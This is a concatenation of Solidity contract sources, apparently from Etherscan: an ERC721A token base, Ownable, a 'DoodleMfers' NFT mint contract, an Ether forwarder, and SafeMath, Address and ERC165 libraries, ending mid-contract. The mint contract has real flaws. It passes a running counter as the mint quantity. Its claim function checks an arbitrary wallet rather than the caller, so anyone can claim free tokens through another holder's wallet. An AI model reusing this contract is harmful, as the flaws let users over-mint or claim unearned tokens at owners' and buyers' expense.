// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract DoodleMfers is ERC721A, Ownable{
using Strings for uint256;
string public baseExtension = ".json";
string public baseURI;
uint256 public cost = 0.0069 ether;
uint256 public minted;
uint256 public maxSupply = 5000;
uint256 public maxMint = 20;
uint256 public maxFreeMint = 5;
uint256 public freeSupply = 500;
bool public status = false;
address mferAddr = 0x79FCDEF22feeD20eDDacbB2587640e45491b757f; //MferAddress
mapping(address => bool) public mintlist;
constructor() ERC721A("DoodleMfers", "dodmfers") {}
//checks if address owns at least one token from either of the qualifying collections
function isHolder(address _wallet) public view returns (bool) {
ERC721A mferToken = ERC721A(mferAddr);
uint256 _mferBalance = mferToken.balanceOf(_wallet);
return (_mferBalance > 0);
}
//public mint
function mint(uint256 _mintAmount) public payable{
require(status, "Sale inactive" );
require(msg.sender == tx.origin, "No contracts!");
require(minted + _mintAmount <= maxSupply, "Would excced supply" );
if(minted + _mintAmount > freeSupply){
require(msg.value >= cost * _mintAmount, "Not enough ETH");
require(_mintAmount <= maxMint, "Too many" );
}else if(minted + _mintAmount < freeSupply){
require(_mintAmount <= maxFreeMint, "Too many" );
}
for (uint256 i = 0; i < _mintAmount; i++) {
minted++;
_safeMint(msg.sender, minted);
}
}
//free claim for qualifying holders
function claim(address _wallet) external {
require(status, "Sale inactive" );
require(msg.sender == tx.origin, "No contracts!");
require(minted + 1 <= maxSupply, "Would excced supply" );
(bool _holder) = isHolder(_wallet);
require(_holder, "Must own at least one qualifying NFT to claim!");
require(mintlist[_wallet] != true, "Already claimed!");
mintlist[_wallet] = true;
minted++;
_safeMint(msg.sender, minted);
}
//metadata
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "Nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, (tokenId + 1).toString(), baseExtension)) : "";
}
//setters
function setMferAddress(address _mferAddr) external onlyOwner {
mferAddr = _mferAddr;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner {
maxMint = _newMaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
//admin functions
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function flipSaleStatus() public onlyOwner {
status = !status;
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
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/**
*Submitted for verification at Etherscan.io on 2019-07-05
*/
pragma solidity ^0.4.22;
/**
* Contract that will forward any incoming Ether to a receiver address
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public destinationAddress;
// Events allow light clients to react on
// changes efficiently.
event Forward(address from, address to, uint amount);
/**
* Create the contract, and set the destination address to that of the creator
*/
constructor(address receiver) public {
destinationAddress = receiver;
}
/**
* Default function; Gets called when Ether is deposited, and forwards it to the destination address
*/
function() public payable {
if (!destinationAddress.send(msg.value))
revert();
emit Forward(msg.sender, destinationAddress, msg.value);
}
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/**
*Submitted for verification at Etherscan.io on 2020-12-14
*/
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.3._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev interface of MomijiToken
*
*/
interface IMomijiToken {
function tokenQuantityWithId(uint256 tokenId) view external returns(uint256);
function tokenMaxQuantityWithId(uint256 tokenId) view external returns(uint256);
function mintManuallyQuantityWithId(uint256 tokenId) view external returns(uint256);
function creators(uint256 tokenId) view external returns(address);
function removeMintManuallyQuantity(uint256 tokenId, uint256 amount) external;
function addMintManuallyQuantity(uint256 tokenId, uint256 amount) external;
function mint(uint256 tokenId, address to, uint256 quantity, bytes memory data) external;
function balanceOf(address account, uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data) external;
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
/**
* @dev _Available since v3.1._
*/
abstract contract ERC1155Receiver is ERC165, IERC1155Receiver {
constructor() internal {
_registerInterface(
